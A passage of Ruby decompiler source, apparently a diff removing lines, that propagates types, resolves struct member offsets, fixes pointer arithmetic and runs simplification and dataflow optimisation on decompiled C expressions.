memb[o+moff] = [v, tm.name, tm.type] - } - end - } - - # patch local variables into the CExprs, incl unknown offsets - varat = lambda { |n| - v = scope.symbol[n] - if s = memb[v.stackoff] - v = C::CExpression[s[0], :'.', s[1], s[2]] - else - v.type = types[n] || C::BaseType.new(:int) - end - v - } - - maycast = lambda { |v, e| - if sizeof(v) != sizeof(e) - v = C::CExpression[:*, [[:&, v], C::Pointer.new(e.type)]] - end - v - } - maycast_p = lambda { |v, e| - if not e.type.pointer? or sizeof(v) != sizeof(nil, e.type.pointed) - C::CExpression[[:&, v], e.type] - else - C::CExpression[:&, v] - end - } - - walk_ce(scope, true) { |ce| - case - when ce.op == :funcall - ce.rexpr.map! { |re| - if o = scopevar[re]; C::CExpression[maycast[varat[o], re]] - elsif o = pscopevar[re]; C::CExpression[maycast_p[varat[o], re]] - else re - end - } - when o = scopevar[ce.lexpr]; ce.lexpr = maycast[varat[o], ce.lexpr] - when o = scopevar[ce.rexpr]; ce.rexpr = maycast[varat[o], ce.rexpr] - ce.rexpr = C::CExpression[ce.rexpr] if not ce.op and ce.rexpr.kind_of? C::Variable - when o = pscopevar[ce.lexpr]; ce.lexpr = maycast_p[varat[o], ce.lexpr] - when o = pscopevar[ce.rexpr]; ce.rexpr = maycast_p[varat[o], ce.rexpr] - when o = scopevar[ce]; ce.replace C::CExpression[maycast[varat[o], ce]] - when o = pscopevar[ce]; ce.replace C::CExpression[maycast_p[varat[o], ce]] - end - } - - fix_type_overlap(scope) - fix_pointer_arithmetic(scope) - - # if int32 var_4 is always var_4 & 255, change type to int8 - varuse = Hash.new(0) - varandff = Hash.new(0) - varandffff = Hash.new(0) - walk_ce(scope) { |ce| - if ce.op == :& and ce.lexpr.kind_of? C::Variable and ce.lexpr.type.integral? and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer - case ce.rexpr.rexpr - when 0xff; varandff[ce.lexpr.name] += 1 - when 0xffff; varandffff[ce.lexpr.name] += 1 - end - end - varuse[ce.lexpr.name] += 1 if ce.lexpr.kind_of? C::Variable - varuse[ce.rexpr.name] += 1 if ce.rexpr.kind_of? C::Variable - } - varandff.each { |k, v| - scope.symbol[k].type = C::BaseType.new(:__int8, :unsigned) if varuse[k] == v - } - varandffff.each { |k, v| - scope.symbol[k].type = C::BaseType.new(:__int16, :unsigned) if varuse[k] == v - } - - # propagate types to cexprs - walk_ce(scope, true) { |ce| - if ce.op - ce.type = C::CExpression[ce.lexpr, ce.op, ce.rexpr].type rescue next - if ce.op == :'=' and ce.rexpr.kind_of? C::Typed and ce.rexpr.type != ce.type and (not ce.rexpr.type.integral? or not ce.type.integral?) - known_type[ce.rexpr, ce.type] if ce.type.pointer? and ce.type.pointed.untypedef.kind_of? C::Function # localvar = &struct with fptr - ce.rexpr = C::CExpression[[ce.rexpr], ce.type] - end - elsif ce.type.pointer? and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :& and not ce.rexpr.lexpr and sizeof(ce.rexpr.rexpr.type) == sizeof(ce.type.pointed) - ce.type = ce.rexpr.type - end - } - end - - # struct foo { int i; int j; struct { int k; int l; } m; }; bla+12 => &bla->m.l - # st is a struct, ptr is an expr pointing to a struct, off is a numeric offset from ptr, msz is the size of the pointed member (nil ignored) - def structoffset(st, ptr, off, msz) - tabidx = off / sizeof(st) - off -= tabidx * sizeof(st) - ptr = C::CExpression[:&, [ptr, :'[]', [tabidx]]] if tabidx != 0 or ptr.type.untypedef.kind_of? C::Array - return ptr if off == 0 and (not msz or # avoid infinite recursion with eg chained list - (ptr.kind_of? C::CExpression and ((ptr.op == :& and not ptr.lexpr and s=ptr.rexpr) or (ptr.op == :'.' and s=ptr)) and - not s.type.untypedef.kind_of? C::Union)) - - m_ptr = lambda { |m| - if ptr.kind_of? C::CExpression and ptr.op == :& and not ptr.lexpr - C::CExpression[ptr.rexpr, :'.', m.name] - else - C::CExpression[ptr, :'->', m.name] - end - } - - # recursive proc to list all named members, including in anonymous substructs - submemb = lambda { |sm| sm.name ? sm : sm.type.kind_of?(C::Union) ? sm.type.members.to_a.map { |ssm| submemb[ssm] } : nil } - mbs = st.members.to_a.map { |m| submemb[m] }.flatten.compact - mo = mbs.inject({}) { |h, m| h.update m => st.offsetof(@c_parser, m.name) } - - if sm = mbs.find { |m| mo[m] == off and (not msz or sizeof(m) == msz) } || - mbs.find { |m| mo[m] <= off and mo[m]+sizeof(m) > off } - off -= mo[sm] - sst = sm.type.untypedef - #return ptr if mo[sm] == 0 and sst.pointer? and sst.type.untypedef == st # TODO fix infinite recursion on mutually recursive ptrs - ptr = C::CExpression[:&, m_ptr[sm]] - if sst.kind_of? C::Union - return structoffset(sst, ptr, off, msz) - end - end - - if off != 0 - C::CExpression[[[ptr], C::Pointer.new(C::BaseType.new(:__int8))], :+, [off]] - else - ptr - end - end - - # fix pointer arithmetic (eg int foo += 4 => int* foo += 1) - # use struct member access (eg *(structptr+8) => structptr->bla) - # must be run only once, right after type setting - def fix_pointer_arithmetic(scope) - walk_ce(scope, true) { |ce| - if ce.lexpr and ce.lexpr.type.pointer? and [:&, :>>, :<<].include? ce.op - ce.lexpr = C::CExpression[[ce.lexpr], C::BaseType.new(:int)] - end - - if ce.op == :+ and ce.lexpr and ((ce.lexpr.type.integral? and ce.rexpr.type.pointer?) or (ce.rexpr.type.pointer? and ce.rexpr.type.pointed.untypedef.kind_of? C::Union)) - ce.rexpr, ce.lexpr = ce.lexpr, ce.rexpr - end - - if ce.op == :* and not ce.lexpr and ce.rexpr.type.pointer? and ce.rexpr.type.pointed.untypedef.kind_of? C::Struct - s = ce.rexpr.type.pointed.untypedef - m = s.members.to_a.find { |m_| s.offsetof(@c_parser, m_.name) == 0 } - if sizeof(m) != sizeof(ce) - ce.rexpr = C::CExpression[[ce.rexpr, C::Pointer.new(s)], C::Pointer.new(ce.type)] - next - end - # *structptr => structptr->member - ce.lexpr = ce.rexpr - ce.op = :'->' - ce.rexpr = m.name - ce.type = m.type - next - elsif ce.op == :'=' and ce.lexpr.type.untypedef.kind_of? C::Struct - s = ce.lexpr.type.untypedef - m = s.members.to_a.find { |m_| s.offsetof(@c_parser, m_.name) == 0 } - ce.lexpr = C::CExpression.new(ce.lexpr, :'.', m.name, m.type) - ce.type = m.type - next - end - - if ce.op == :+ and ce.lexpr and ce.lexpr.type.pointer? and not ce.type.pointer? - ce.type = ce.lexpr.type - end - - if ce.op == :& and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :* and not ce.rexpr.lexpr - ce.replace C::CExpression[ce.rexpr.rexpr] - end - - next if not ce.lexpr or not ce.lexpr.type.pointer? - if ce.op == :+ and (s = ce.lexpr.type.pointed.untypedef).kind_of? C::Union and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and - ce.rexpr.rexpr.kind_of? ::Integer and o = ce.rexpr.rexpr - # structptr + 4 => &structptr->member - ce.replace structoffset(s, ce.lexpr, o, nil) - elsif [:+, :-, :'+=', :'-='].include? ce.op and ce.rexpr.kind_of? C::CExpression and ((not ce.rexpr.op and i = ce.rexpr.rexpr) or - (ce.rexpr.op == :* and i = ce.rexpr.lexpr and ((i.kind_of? C::CExpression and not i.op and i = i.rexpr) or true))) and - i.kind_of? ::Integer and psz = sizeof(nil, ce.lexpr.type.pointed) and i % psz == 0 - # ptr += 4 => ptr += 1 - if not ce.rexpr.op - ce.rexpr.rexpr /= psz - else - ce.rexpr.lexpr.rexpr /= psz - if ce.rexpr.lexpr.rexpr == 1 - ce.rexpr = ce.rexpr.rexpr - end - end - ce.type = ce.lexpr.type - - elsif (ce.op == :+ or ce.op == :-) and sizeof(nil, ce.lexpr.type.pointed) != 1 - # ptr+x => (ptrtype*)(((__int8*)ptr)+x) - # XXX create struct ? - ce.rexpr = C::CExpression[ce.rexpr, C::BaseType.new(:int)] if not ce.rexpr.type.integral? - if sizeof(nil, ce.lexpr.type.pointed) != 1 - ptype = ce.lexpr.type - p = C::CExpression[[ce.lexpr], C::Pointer.new(C::BaseType.new(:__int8))] - ce.replace C::CExpression[[p, ce.op, ce.rexpr, p.type], ptype] - end - end - } - end - - # handling of var overlapping (eg __int32 var_10; __int8 var_F => replace all var_F by *(&var_10 + 1)) - # must be done before fix_pointer_arithmetic - def fix_type_overlap(scope) - varinfo = {} - scope.symbol.each_value { |var| - next if not off = var.stackoff - len = sizeof(var) - varinfo[var] = [off, len] - } - - varinfo.each { |v1, (o1, l1)| - next if not v1.type.integral? - varinfo.each { |v2, (o2, l2)| - # XXX o1 may overlap o2 AND another (int32 v_10; int32 v_E; int32 v_C;) - # TODO should check stuff with aliasing domains - next if v1.name == v2.name or o1 >= o2+l2 or o1+l1 <= o2 or l1 > l2 or (l2 == l1 and o2 >= o1) - # v1 => *(&v2+delta) - p = C::CExpression[:&, v2] - p = C::CExpression[p, :+, [o1-o2]] - p = C::CExpression[p, C::Pointer.new(v1.type)] if v1.type != p.type.type - p = C::CExpression[:*, p] - walk_ce(scope) { |ce| - ce.lexpr = p if ce.lexpr == v1 - ce.rexpr = p if ce.rexpr == v1 - } - } - } - end - - # to be run with scope = function body with only CExpr/Decl/Label/Goto/IfGoto/Return, with correct variables types - # will transform += 1 to ++, inline them to prev/next statement ('++x; if (x)..' => 'if (++x)..') - # remove useless variables ('int i;', i never used or 'i = 1; j = i;', i never read after => 'j = 1;') - # remove useless casts ('(int)i' with 'int i;' => 'i') - def optimize(scope) - optimize_code(scope) - optimize_vars(scope) - optimize_vars(scope) # 1st run may transform i = i+1 into i++ which second run may coalesce into if(i) - end - - # simplify cexpressions (char & 255, redundant casts, etc) - def optimize_code(scope) - return if forbid_optimize_code - - sametype = lambda { |t1, t2| - t1 = t1.untypedef - t2 = t2.untypedef - t1 = t1.pointed.untypedef if t1.pointer? and t1.pointed.untypedef.kind_of? C::Function - t2 = t2.pointed.untypedef if t2.pointer? and t2.pointed.untypedef.kind_of? C::Function - t1 == t2 or - (t1.kind_of? C::Function and t2.kind_of? C::Function and sametype[t1.type, t2.type] and t1.args.to_a.length == t2.args.to_a.length and - t1.args.to_a.zip(t2.args.to_a).all? { |st1, st2| sametype[st1.type, st2.type] }) or - (t1.kind_of? C::BaseType and t1.integral? and t2.kind_of? C::BaseType and t2.integral? and sizeof(nil, t1) == sizeof(nil, t2)) or - (t1.pointer? and t2.pointer? and sametype[t1.type, t2.type]) - } - - # most of this is a CExpr#reduce - future_array = [] - walk_ce(scope, true) { |ce| - # (whatever)0 => 0 - if not ce.op and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 - ce.replace ce.rexpr - end - - # *&bla => bla if types ok - if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :& and not ce.rexpr.lexpr and sametype[ce.rexpr.type.pointed, ce.rexpr.rexpr.type] - ce.replace C::CExpression[ce.rexpr.rexpr] - end - - # int x + 0xffffffff -> x-1 - if ce.lexpr and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and [:+, :-, :'+=', :'-=', :'!=', :==, :>, :<, :>=, :<=].include? ce.op and - ce.rexpr.rexpr == (1 << (8*sizeof(ce.lexpr)))-1 - ce.op = {:+ => :-, :- => :+, :'+=' => :'-=', :'-=' => :'+='}[ce.op] - ce.rexpr.rexpr = 1 - end - - # int *ptr; *(ptr + 4) => ptr[4] - if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :+ and var = ce.rexpr.lexpr and var.kind_of? C::Variable and var.type.pointer? - ce.lexpr, ce.op, ce.rexpr = ce.rexpr.lexpr, :'[]', ce.rexpr.rexpr - future_array << var.name - end - - # char x; x & 255 => x - if ce.op == :& and ce.lexpr and (ce.lexpr.type.integral? or ce.lexpr.type.pointer?) and ce.rexpr.kind_of? C::CExpression and - not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer and m = (1 << (8*sizeof(ce.lexpr))) - 1 and - ce.rexpr.rexpr & m == m - ce.replace C::CExpression[ce.lexpr] - end - - # a + -b => a - b - if ce.op == :+ and ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :- and not ce.rexpr.lexpr - ce.op, ce.rexpr = :-, ce.rexpr.rexpr - end - - # (((int) i >> 31) & 1) => i < 0 - if ce.op == :& and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 1 and - ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :>> and ce.lexpr.rexpr.kind_of? C::CExpression and - not ce.lexpr.rexpr.op and ce.lexpr.rexpr.rexpr == sizeof(ce.lexpr.lexpr) * 8 - 1 - ce.replace C::CExpression[ce.lexpr.lexpr, :<, [0]] - end - - # a-b == 0 => a == b - if ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 and [:==, :'!=', :<, :>, :<=, :>=].include? ce.op and - ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :- and ce.lexpr.lexpr - ce.lexpr, ce.rexpr = ce.lexpr.lexpr, ce.lexpr.rexpr - end - - # (a > 0) != 0 - if ce.op == :'!=' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 and ce.lexpr.kind_of? C::CExpression and - [:<, :<=, :>, :>=, :'==', :'!=', :'!'].include? ce.lexpr.op - ce.replace ce.lexpr - end - - # (a < b) != ( [(a < 0) == !(b < 0)] && [(a < 0) != (a < b)] ) => jl - # a<b => true if !r => a<0 == b<0 or a>=0 => a>=0 or b>=0 - # a>=b => true if r => a<0 == b>=0 and a<0 => a<0 and b>=0 - - # x != (a && (b != x)) => [x && (!a || b)] || [!x && !(!a || b)] - if ce.op == :'!=' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :< and ce.rexpr.kind_of? C::CExpression and - ce.rexpr.op == :'&&' and ce.rexpr.rexpr.kind_of? C::CExpression and ce.rexpr.rexpr.op == :'!=' and - ce.rexpr.rexpr.rexpr == ce.lexpr and not walk_ce(ce) { |ce_| break true if ce_.op == :funcall } - x, a, b = ce.lexpr, ce.rexpr.lexpr, ce.rexpr.rexpr.lexpr - ce.replace C::CExpression[ [x, :'&&', [[:'!',a],:'||',b]] , :'||', [[:'!', x], :'&&', [:'!', [[:'!',a],:'||',b]]] ] - optimize_code(ce) - end - # (a != b) || a => a || b - if ce.op == :'||' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :'!=' and ce.lexpr.lexpr == ce.rexpr and not walk_ce(ce) { |ce_| break true if ce_.op == :funcall } - ce.lexpr, ce.rexpr = ce.rexpr, ce.lexpr.rexpr - optimize_code(ce) - end - # (a<b) && !(a>=0 && b<0) || (a>=b) && (a>=0 && b<0) => (signed)a < (signed)b - if ce.op == :'||' and ce.lexpr.kind_of? C::CExpression and ce.rexpr.kind_of? C::CExpression and ce.lexpr.op == :'&&' and ce.rexpr.op == :'&&' and - ce.lexpr.lexpr.kind_of? C::CExpression and ce.lexpr.lexpr.op == :< - a, b = ce.lexpr.lexpr.lexpr, ce.lexpr.lexpr.rexpr - if ce.lexpr.rexpr === C::CExpression[[a, :'>=', [0]], :'&&', [b, :'<', [0]]].negate and - ce.rexpr.lexpr === ce.lexpr.lexpr.negate and ce.rexpr.rexpr === ce.lexpr.rexpr.negate - ce.replace C::CExpression[a, :'<', b] - end - end - # a && 1 - if (ce.op == :'||' or ce.op == :'&&') and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer - if ((ce.op == :'||' and ce.rexpr.rexpr == 0) or (ce.op == :'&&' and ce.rexpr.rexpr != 0)) - ce.replace C::CExpression[ce.lexpr] - elsif not walk_ce(ce) { |ce_| break true if ce.op == :funcall } # cannot wipe if sideeffect - ce.replace C::CExpression[[ce.op == :'||' ? 1 : 0]] - end - end - # (b < c || b >= c) - if (ce.op == :'||' or ce.op == :'&&') and C::CExpression.negate(ce.lexpr) == C::CExpression[ce.rexpr] - ce.replace C::CExpression[[(ce.op == :'||') ? 1 : 0]] - end - - # (a < b) | (a == b) => a <= b - if ce.op == :| and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :== and ce.lexpr.kind_of? C::CExpression and - (ce.lexpr.op == :< or ce.lexpr.op == :>) and ce.lexpr.lexpr == ce.rexpr.lexpr and ce.lexpr.rexpr == ce.rexpr.rexpr - ce.op = {:< => :<=, :> => :>=}[ce.lexpr.op] - ce.lexpr, ce.rexpr = ce.lexpr.lexpr, ce.lexpr.rexpr - end - - # a == 0 => !a - if ce.op == :== and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 - ce.lexpr, ce.op, ce.rexpr = nil, :'!', ce.lexpr - end - - if ce.op == :'!' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer - ce.replace C::CExpression[[ce.rexpr.rexpr == 0 ? 1 : 0]] - end - - # !(bool) => bool - if ce.op == :'!' and ce.rexpr.kind_of? C::CExpression and [:'==', :'!=', :<, :>, :<=, :>=, :'||', :'&&', :'!'].include? ce.rexpr.op - ce.replace ce.rexpr.negate - end - - # (foo)(bar)x => (foo)x - if not ce.op and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? C::CExpression - ce.rexpr = ce.rexpr.rexpr - end - - # &struct.1stmember => &struct - if ce.op == :& and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :'.' and s = ce.rexpr.lexpr.type and - s.kind_of? C::Union and s.offsetof(@c_parser, ce.rexpr.rexpr) == 0 - ce.rexpr = ce.rexpr.lexpr - ce.type = C::Pointer.new(ce.rexpr.type) - end - - # (1stmember*)structptr => &structptr->1stmember - if not ce.op and ce.type.pointer? and not ce.type.pointed.void? and ce.rexpr.kind_of? C::Typed and ce.rexpr.type.pointer? and - s = ce.rexpr.type.pointed.untypedef and s.kind_of? C::Union and ce.type.pointed.untypedef != s - ce.rexpr = C::CExpression[structoffset(s, ce.rexpr, 0, sizeof(ce.type.pointed))] - #ce.replace ce.rexpr if not ce.type.pointed.untypedef.kind_of? C::Function or (ce.rexpr.type.pointer? and - #ce.rexpr.type.pointed.untypedef.kind_of? C::Function) # XXX ugly - # int32* v1 = (int32*)pstruct; - # z = v1+4 if v1 is not cast, the + is invalid (sizeof pointed changes) - # TODO when finding type of pstruct, set type of v1 accordingly - end - - # (&foo)->bar => foo.bar - if ce.op == :'->' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :& and not ce.lexpr.lexpr - ce.lexpr = ce.lexpr.rexpr - ce.op = :'.' - end - - # (foo)bla => bla if bla of type foo - if not ce.op and ce.rexpr.kind_of? C::Typed and sametype[ce.type, ce.rexpr.type] - ce.replace C::CExpression[ce.rexpr] - end - if ce.lexpr.kind_of? C::CExpression and not ce.lexpr.op and ce.lexpr.rexpr.kind_of? C::Variable and ce.lexpr.type == ce.lexpr.rexpr.type - ce.lexpr = ce.lexpr.rexpr - end - - if ce.op == :'=' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :* and not ce.lexpr.lexpr and ce.lexpr.rexpr.kind_of? C::CExpression and - not ce.lexpr.rexpr.op and ce.lexpr.rexpr.type.pointer? and ce.lexpr.rexpr.type.pointed != ce.rexpr.type - ce.lexpr.rexpr.type = C::Pointer.new(ce.rexpr.type) - optimize_code(ce.lexpr) - end - } - - # if there is a ptr[4], change all *ptr to ptr[0] for consistency - # do this after the first pass, which may change &*ptr to ptr - walk_ce(scope) { |ce| - if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::Variable and future_array.include? ce.rexpr.name - ce.lexpr, ce.op, ce.rexpr = ce.rexpr, :'[]', C::CExpression[0] - end - } if not future_array.empty? - - # if (x != 0) => if (x) - walk(scope) { |st| - if st.kind_of? C::If and st.test.kind_of? C::CExpression and st.test.op == :'!=' and - st.test.rexpr.kind_of? C::CExpression and not st.test.rexpr.op and st.test.rexpr.rexpr == 0 - st.test = C::CExpression[st.test.lexpr] - end - } - end - - # checks if an expr has sideeffects (funcall, var assignment, mem dereference, use var out of scope if specified) - def sideeffect(exp, scope=nil) - case exp - when nil, ::Numeric, ::String; false - when ::Array; exp.any? { |_e| sideeffect _e, scope } - when C::Variable; (scope and not scope.symbol[exp.name]) or exp.type.qualifier.to_a.include? :volatile - when C::CExpression; (exp.op == :* and not exp.lexpr) or exp.op == :funcall or AssignOp.include?(exp.op) or - sideeffect(exp.lexpr, scope) or sideeffect(exp.rexpr, scope) - else true # failsafe - end - end - - # converts C code to a graph of cexprs (nodes = cexprs, edges = codepaths) - # returns a CGraph - class CGraph - # exprs: label => [exprs], to: label => [labels], block: label => are exprs standalone (vs If#test), start: 1st label - attr_accessor :exprs, :to, :block, :start, :to_optim, :from_optim - end - def c_to_graph(st) - g = CGraph.new - g.exprs = {} # label => [exprs] - g.to = {} # label => [labels] - g.block = {} # label => is label in a block? (vs If#test) - anon_label = 0 # when no label is there, use anon_label++ - # converts C code to a graph of codepath of cexprs - to_graph = lambda { |stmt, l_cur, l_after, l_cont, l_break| - case stmt - when C::Label; g.to[l_cur] = [stmt.name] ; g.to[stmt.name] = [l_after] - when C::Goto; g.to[l_cur] = [stmt.target] - when C::Continue; g.to[l_cur] = [l_cont] - when C::Break; g.to[l_cur] = [l_break] - when C::CExpression - g.exprs[l_cur] = [stmt] - g.to[l_cur] = [l_after] - when C::Return - g.exprs[l_cur] = [stmt.value] if stmt.value - g.to[l_cur] = [] - when C::Block - to_graph[stmt.statements, l_cur, l_after, l_cont, l_break] - when ::Array - g.exprs[l_cur] = [] - g.block[l_cur] = true - stmt.each_with_index { |s, i| - case s - when C::Declaration - when C::CExpression - g.exprs[l_cur] << s - else - l = anon_label += 1 - ll = anon_label += 1 - g.to[l_cur] = [l] - g.block[l_cur] = true - to_graph[stmt[i], l, ll, l_cont, l_break] - l_cur = ll - g.exprs[l_cur] = [] - end - } - g.to[l_cur] = [l_after].compact - when C::If - g.exprs[l_cur] = [stmt.test] - lt = anon_label += 1 - to_graph[stmt.bthen, lt, l_after, l_cont, l_break] - le = anon_label += 1 - to_graph[stmt.belse, le, l_after, l_cont, l_break] - g.to[l_cur] = [lt, le] - when C::While, C::DoWhile - la = anon_label += 1 - if stmt.kind_of? C::DoWhile - lt, lb = la, l_cur - else - lt, lb = l_cur, la - end - g.exprs[lt] = [stmt.test] - g.to[lt] = [lb, l_after] - to_graph[stmt.body, lb, lt, lt, l_after] - when C::Asm, nil; g.to[l_cur] = [l_after] - else puts "to_graph unhandled #{stmt.class}: #{stmt}" if $VERBOSE - end - } - - g.start = anon_label - to_graph[st, g.start, nil, nil, nil] - - # optimize graph - g.to_optim = {} - g.to.each { |k, v| g.to_optim[k] = v.uniq } - g.exprs.delete_if { |k, v| v == [] } - g.to_optim.delete_if { |k, v| - if v.length == 1 and not g.exprs[k] and v != [k] - g.to_optim.each_value { |t| if i = t.index(k) ; t[i] = v.first ; end } - true - elsif v.length == 0 and not g.exprs[k] - g.to_optim.each_value { |t| t.delete k } - true - end - } - - g.from_optim = {} - g.to_optim.each { |k, v| v.each { |t| (g.from_optim[t] ||= []) << k } } - - g - end - - # dataflow optimization - # condenses expressions (++x; if (x) => if (++x)) - # remove local var assignment (x = 1; f(x); x = 2; g(x); => f(1); g(2); etc) - def optimize_vars(scope) - return if forbid_optimize_dataflow - - g = c_to_graph(scope) - - # walks a cexpr in evaluation order (not strictly, but this is not strictly defined anyway..) - # returns the first subexpr to read var in ce - # returns :write if var is rewritten - # returns nil if var not read - # may return a cexpr var += 2 - find_next_read_ce = lambda { |ce_, var| - walk_ce(ce_, true) { |ce| - case ce.op - when :funcall - break ce if ce.lexpr == var or ce.rexpr.find { |a| a == var } - when :'=' - # a=a / a=a+1 => yield a, not :write - break ce if ce.rexpr == var - break :write if ce.lexpr == var - else - break ce if ce.lexpr == var or ce.rexpr == var - end - } - } - - # badlabels is a list of labels that may be reached without passing through the first invocation block - find_next_read_rec = lambda { |label, idx, var, done, badlabels| - next if done.include? label - done << label if idx == 0 - - idx += 1 while ce = g.exprs[label].to_a[idx] and not ret = find_next_read_ce[ce, var] - next ret if ret - - to = g.to_optim[label].to_a.map { |t| - break [:split] if badlabels.include? t - find_next_read_rec[t, 0, var, done, badlabels] - }.compact - - tw = to - [:write] - if to.include? :split or tw.length > 1 - :split - elsif tw.length == 1 - tw.first - elsif to.include? :write - :write - end - } - # return the previous subexpr reading var with no fwd path to another reading (otherwise split), see loop comment for reason - find_next_read = nil - find_prev_read_rec = lambda { |label, idx, var, done| - next if done.include? label - done << label if idx == g.exprs[label].length-1 - - idx -= 1 while idx >= 0 and ce = g.exprs[label].to_a[idx] and not ret = find_next_read_ce[ce, var] - if ret.kind_of? C::CExpression - fwchk = find_next_read[label, idx+1, var] - ret = fwchk if not fwchk.kind_of? C::CExpression - end - next ret if ret - - from = g.from_optim[label].to_a.map { |f| - find_prev_read_rec[f, g.exprs[f].to_a.length-1, var, done] - }.compact - - next :split if from.include? :split - fw = from - [:write] - if fw.length == 1 - fw.first - elsif fw.length > 1 - :split - elsif from.include? :write - :write - end - } - - # list of labels reachable without using a label - badlab = {} - build_badlabel = lambda { |label| - next if badlab[label] - badlab[label] = [] - todo = [g.start] - while l = todo.pop - next if l == label or badlab[label].include? l - badlab[label] << l - todo.concat g.to_optim[l].to_a - end - } - - # returns the next subexpr where var is read - # returns :write if var is written before being read - # returns :split if the codepath splits with both subpath reading or codepath merges with another - # returns nil if var is never read - # idx is the index of the first cexpr at g.exprs[label] to look at - find_next_read = lambda { |label, idx, var| - find_next_read_rec[label, idx, var, [], []] - } - find_prev_read = lambda { |label, idx, var| - find_prev_read_rec[label, idx, var, []] - } - # same as find_next_read, but returns :split if there exist a path from g.start to the read without passing through label - find_next_read_bl = lambda { |label, idx, var| - build_badlabel[label] - find_next_read_rec[label, idx, var, [], badlab[label]] - } - - # walk each node, optimize data accesses there - # replace no longer useful exprs with CExpr[nil, nil, nil], those are wiped later. - g.exprs.each { |label, exprs| - next if not g.block[label] - i = 0 - while i < exprs.length - e = exprs[i] - i += 1 - - # TODO x = x + 1 => x += 1 => ++x here, move all other optimizations after (in optim_code) - # needs also int & 0xffffffff -> int, *&var etc (decomp_type? optim_type?) - if (e.op == :'++' or e.op == :'--') and v = (e.lexpr || e.rexpr) and v.kind_of? C::Variable and - scope.symbol[v.name] and not v.type.qualifier.to_a.include? :volatile - next if !((pos = :post.to_sym) and (oe = find_next_read_bl[label, i, v]) and oe.kind_of? C::CExpression) and - !((pos = :prev.to_sym) and (oe = find_prev_read[label, i-2, v]) and oe.kind_of? C::CExpression) - next if oe.op == :& and not oe.lexpr # no &(++eax) - - # merge pre/postincrement into next/prev var usage - # find_prev_read must fwd check when it finds something, to avoid - # while(x) x++; return x; to be converted to while(x++); return x; (return wrong value) - case oe.op - when e.op - # bla(i--); --i bla(--i); --i ++i; bla(i++) => ignore - next if pos == :pre or oe.lexpr - # ++i; bla(++i) => bla(i += 2) - oe.lexpr = oe.rexpr - oe.op = ((oe.op == :'++') ? :'+=' : :'-=') - oe.rexpr = C::CExpression[2] - - when :'++', :'--' # opposite of e.op - if (pos == :post and not oe.lexpr) or (pos == :pre and not oe.rexpr) - # ++i; bla(--i) => bla(i) - # bla(i--); ++i => bla(i) - oe.op = nil - elsif pos == :post - # ++i; bla(i--) => bla(i+1) - oe.op = ((oe.op == :'++') ? :- : :+) - oe.rexpr = C::CExpression[1] - elsif pos == :pre - # bla(--i); ++i => bla(i-1) - oe.lexpr = oe.rexpr - oe.op = ((oe.op == :'++') ? :+ : :-) - oe.rexpr = C::CExpression[1] - end - when :'+=', :'-=' - # TODO i++; i += 4 => i += 5 - next - when *AssignOp - next # ++i; i |= 4 => ignore - else - if pos == :post and v == oe.lexpr; oe.lexpr = C::CExpression[e.op, v] - elsif pos == :post and v == oe.rexpr; oe.rexpr = C::CExpression[e.op, v] - elsif pos == :prev and v == oe.rexpr; oe.rexpr = C::CExpression[v, e.op] - elsif pos == :prev and v == oe.lexpr; oe.lexpr = C::CExpression[v, e.op] - else raise 'foobar' # find_dir_read failed - end - end - - i -= 1 - exprs.delete_at(i) - e.lexpr = e.op = e.rexpr = nil - - - elsif e.op == :'=' and v = e.lexpr and v.kind_of? C::Variable and scope.symbol[v.name] and - not v.type.qualifier.to_a.include? :volatile and not find_next_read_ce[e.rexpr, v] - - # reduce trivial static assignments - if (e.rexpr.kind_of? C::CExpression and iv = e.rexpr.reduce(@c_parser) and iv.kind_of? ::Integer) or - (e.rexpr.kind_of? C::CExpression and e.rexpr.op == :& and not e.rexpr.lexpr and e.rexpr.lexpr.kind_of? C::Variable) or - (e.rexpr.kind_of? C::Variable and e.rexpr.type.kind_of? C::Array) - rewritten = false - readers = [] - discard = [e] - g.exprs.each { |l, el| - el.each_with_index { |ce, ci| - if ce_write(ce, v) and [label, i-1] != [l, ci] - if ce == e - discard << ce - else - rewritten = true - break - end - elsif ce_read(ce, v) - if walk_ce(ce) { |_ce| break true if _ce.op == :& and not _ce.lexpr and _ce.rexpr == v } - # i = 2 ; j = &i =!> j = &2 - rewritten = true - break - end - readers << ce - end - } if not rewritten - } - if not rewritten - ce_patch(readers, v, C::CExpression[iv || e.rexpr]) - discard.each { |d| d.lexpr = d.op = d.rexpr = nil } - next - end - end - - case nr = find_next_read[label, i, v] - when C::CExpression - # read in one place only, try to patch rexpr in there - r = e.rexpr - - # must check for conflicts (x = y; y += 1; foo(x) =!> foo(y)) - # XXX x = a[1]; *(a+1) = 28; foo(x)... - isfunc = false - depend_vars = [] - walk_ce(C::CExpression[r]) { |ce| - isfunc = true if 